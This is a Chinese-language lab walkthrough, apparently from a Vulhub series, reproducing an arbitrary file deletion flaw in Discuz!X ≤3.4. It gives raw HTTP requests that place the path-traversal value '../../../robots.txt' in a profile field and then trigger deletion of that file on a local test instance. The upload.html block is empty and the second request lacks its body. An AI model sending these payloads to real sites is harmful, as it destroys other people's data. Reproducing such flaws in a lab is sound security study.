# Discuz!X ≤3.4 任意文件删除漏洞 ## 漏洞描述漏洞详情：https://lorexxar.cn/2017/09/30/dz-delete/ ## 漏洞影响 ``` Discuz!X ≤3.4 ``` ## 环境搭建 Vulhub执行下列命令部署 Discuz!X 安装环境 ``` docker-compose up -d ``` 启动后，访问`http://your-ip/install/`来安装discuz，只用修改数据库地址为`db`，其他保持默认即可。 ![image-20220222131339964](images/202202221313350.png) ## 漏洞复现访问`http://your-ip/robots.txt`可见robots.txt是存在的： ![image-20220222131412780](images/202202221314844.png) 注册用户后，在个人设置页面找到自己的formhash： ![image-20220222131618637](images/202202221316746.png) 带上自己的Cookie、formhash发送如下数据包： ``` POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1 Host: 192.168.174.128 Content-Length: 370 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.174.128 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW8uA1wbCsmuiargU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.174.128/home.php?mod=spacecp&ac=profile&op=base Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: AuthSession=dGhyZWVraTo2MjE0NEM0Mzrhe4V-bNxBqV-1RKA7mJS_YQrC9A; ot6_visitedfid=2; ot6_sid=9yWYy0; et56_2132_saltkey=qN7vqIdT; et56_2132_lastvisit=1645503280; et56_2132_sid=Ze005m; et56_2132_seccode=1.526c82122231460dd9; et56_2132_ulastactivity=6467KkrgcKDQNmUlDxKLd592a6DUvLlRSPU4g07eDld2bKtFo3JU; et56_2132_auth=45cdTg%2F0tTayn1c5i6fOd%2F96K8vGKx7SVg9MgaAoLalS102hICOtVzWjuDHbYtyyH8Rqe54O1WS9d%2Fa0s%2FIV; et56_2132_nofavfid=1; et56_2132_onlineusernum=1; et56_2132_noticeTitle=1; et56_2132_lastact=1645507206%09home.php%09misc Connection: close ------WebKitFormBoundaryW8uA1wbCsmuiargU Content-Disposition: form-data; name="formhash" d32e951d ------WebKitFormBoundaryW8uA1wbCsmuiargU Content-Disposition: form-data; name="birthprovince" ../../../robots.txt ------WebKitFormBoundaryW8uA1wbCsmuiargU Content-Disposition: form-data; name="profilesubmit" true ------WebKitFormBoundaryW8uA1wbCsmuiargU-- ``` ![image-20220222132220237](images/202202221322360.png) 提交成功之后，用户资料修改页面上的出生地就会显示成下图所示的状态： ![image-20220222132303344](images/202202221323368.png) 说明我们的脏数据已经进入数据库了。然后，新建一个`upload.html`，代码如下，将其中的`[your-ip]`改成discuz的域名，`[form-hash]`改成你的formhash： ``` ``` 用浏览器打开该页面，上传一个正常图片。如果遇到下图这样的情况，需要修改数据包。 ![image-20220222143620386](images/202202221436463.png) Burpsuite抓包，将Refer和Cookie替换为正常上传数据包的值。 ``` POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=d32e951d HTTP/1.1 Host: 192.168.174.222 Content-Length: 3685 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.159 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKSoP7vDw487SX9LO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: [替换为http://192.168.174.128/home.php?mod=spacecp] Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: [替换为正常上传的C] Connection: close ``` 此时脏数据应该已被提取出，漏洞已经利用结束。再次访问`http://your-ip/robots.txt`，发现文件成功被删除。 ![image-20220222145130066](images/202202221451120.png)